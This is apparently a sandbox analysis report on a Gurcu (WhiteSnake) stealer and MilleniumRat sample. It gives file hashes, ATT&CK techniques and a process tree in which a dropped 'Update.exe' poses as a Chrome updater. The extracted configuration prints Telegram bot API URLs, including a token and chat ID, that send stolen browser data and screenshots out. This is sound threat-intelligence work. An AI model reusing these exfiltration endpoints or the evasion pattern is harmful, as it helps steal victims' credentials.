gurcu | 34443c63e5b3678dfd5df2e83fb1c70dcad8fbaa658a25bcde512e216e8d4a1c

General

Target

file.exe
Size

5.6MB
MD5

3442efc1a403eaeee70cc2a6729ee87b
SHA1

9fcc1af6ba397c0fcfb979af53e2e76c406e6080
SHA256

34443c63e5b3678dfd5df2e83fb1c70dcad8fbaa658a25bcde512e216e8d4a1c
SHA512

869bf4a24dbafe05a43872c6ff0ff437685df6dba97519fc1a58ce96ea2166a01162a77043f4ff52d488301e3d7f34f7c9c71cfa19b4ebad512a626c8ca43dca
SSDEEP

98304:tJRl27OuKr+gvhf2U9Nzm31PMoslkqXf0FvUcwti78OqJ7TPBvc8X6UcG:tWOuK6mn9NzgMoYkSIvUcwti7TQlvcih

Score

10^/10

gurcu milleniumrat discovery rat spyware stealer

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot7733030005:AAEneIh4MdJeCVQCr4Pys9pel6q03FCPCi0/sendDocument?chat_id=7538374929&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb

https://api.telegram.org/bot7733030005:AAEneIh4MdJeCVQCr4Pys9pel6q03FCPCi0/sendMessage?chat_id=7538374929

https://api.telegram.org/bot7733030005:AAEneIh4MdJeCVQCr4Pys9pel6q03FCPCi0/getUpdates?offset=-

https://api.telegram.org/bot7733030005:AAEneIh4MdJeCVQCr4Pys9pel6q03FCPCi0/sendDocument?chat_id=7538374929&caption=%F0%9F%93%B8Screenshot%20take

Signatures

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
rat stealer milleniumrat
Milleniumrat family
milleniumrat

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	file.exe

Executes dropped EXE 1 IoCs

pid	Process
3660	Update.exe

Loads dropped DLL 2 IoCs

pid	Process
4440	file.exe
3660	Update.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
8	raw.githubusercontent.com
9	raw.githubusercontent.com
23	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Enumerates processes with tasklist 1 TTPs 1 IoCs

discovery

Process Discovery

T1057

pid	Process
4576	tasklist.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	Update.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Update.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2960	timeout.exe

Suspicious behavior: EnumeratesProcesses 47 IoCs

pid	Process
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
4440	file.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe
3660	Update.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4440	file.exe
Token: SeDebugPrivilege	4576	tasklist.exe
Token: SeDebugPrivilege	3660	Update.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3660	Update.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4440 wrote to memory of 1916	4440	file.exe	82
PID 4440 wrote to memory of 1916	4440	file.exe	82
PID 1916 wrote to memory of 1860	1916	cmd.exe	84
PID 1916 wrote to memory of 1860	1916	cmd.exe	84
PID 1916 wrote to memory of 4576	1916	cmd.exe	85
PID 1916 wrote to memory of 4576	1916	cmd.exe	85
PID 1916 wrote to memory of 2640	1916	cmd.exe	86
PID 1916 wrote to memory of 2640	1916	cmd.exe	86
PID 1916 wrote to memory of 2960	1916	cmd.exe	90
PID 1916 wrote to memory of 2960	1916	cmd.exe	90
PID 1916 wrote to memory of 3660	1916	cmd.exe	91
PID 1916 wrote to memory of 3660	1916	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp9331.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp9331.tmp.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:1860
- - C:\Windows\system32\tasklist.exe
    Tasklist /fi "PID eq 4440"
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4576
- - C:\Windows\system32\find.exe
    find ":"
    3⤵
    PID:2640
- - C:\Windows\system32\timeout.exe
    Timeout /T 1 /Nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2960
- - C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe
    "C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:3660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Process Discovery

Query Registry

System Information Discovery

3

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Costura\A54E036D2DCD19384E8EA53862E0DD8F\64\sqlite.interop.dll

Filesize
1.7MB

MD5
65ccd6ecb99899083d43f7c24eb8f869

SHA1
27037a9470cc5ed177c0b6688495f3a51996a023

SHA256
aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4

SHA512
533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp9331.tmp.bat

Filesize
286B

MD5
07469eca445ab27c20de17809bb747d4

SHA1
cd1a7ce3348c93b5f95b1f0f8cb8cf348f71024f

SHA256
a87de15213a25123ce0feefda5e75b14176c8a69ef066dc07ef429be9d17deed

SHA512
61cac3f5cd6c75c27181f97f9e1466ccad5a9e0f3c74a80b70077ed7c24a9caa57567bcc78050804f6f533a0e14c04b33e6ffea8c22b4308a89ab4e477bd7050

Download Submit
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe

Filesize
5.6MB

MD5
3442efc1a403eaeee70cc2a6729ee87b

SHA1
9fcc1af6ba397c0fcfb979af53e2e76c406e6080

SHA256
34443c63e5b3678dfd5df2e83fb1c70dcad8fbaa658a25bcde512e216e8d4a1c

SHA512
869bf4a24dbafe05a43872c6ff0ff437685df6dba97519fc1a58ce96ea2166a01162a77043f4ff52d488301e3d7f34f7c9c71cfa19b4ebad512a626c8ca43dca

Download Submit
memory/3660-23-0x00000293F2700000-0x00000293F2750000-memory.dmp

Filesize
320KB

Download
memory/3660-24-0x00000293EF140000-0x00000293EF162000-memory.dmp

Filesize
136KB

Download
memory/3660-47-0x00000293F26B0000-0x00000293F26C2000-memory.dmp

Filesize
72KB

Download
memory/3660-28-0x00000293F3420000-0x00000293F374E000-memory.dmp

Filesize
3.2MB

Download
memory/3660-27-0x00000293EF0E0000-0x00000293EF106000-memory.dmp

Filesize
152KB

Download
memory/3660-26-0x00000293F2750000-0x00000293F278A000-memory.dmp

Filesize
232KB

Download
memory/3660-22-0x00000293F2600000-0x00000293F26B2000-memory.dmp

Filesize
712KB

Download
memory/3660-20-0x00000293F1240000-0x00000293F12AA000-memory.dmp

Filesize
424KB

Download
memory/4440-1-0x000001BDD0E60000-0x000001BDD1402000-memory.dmp

Filesize
5.6MB

Download
memory/4440-0-0x00007FFF96933000-0x00007FFF96935000-memory.dmp

Filesize
8KB

Download
memory/4440-7-0x00007FFF96930000-0x00007FFF973F1000-memory.dmp

Filesize
10.8MB

Download
memory/4440-6-0x000001BDEB8C0000-0x000001BDEB936000-memory.dmp

Filesize
472KB

Download
memory/4440-13-0x00007FFF96930000-0x00007FFF973F1000-memory.dmp

Filesize
10.8MB

Download
memory/4440-9-0x000001BDD3010000-0x000001BDD301A000-memory.dmp

Filesize
40KB

Download
memory/4440-8-0x000001BDD2FF0000-0x000001BDD300E000-memory.dmp

Filesize
120KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads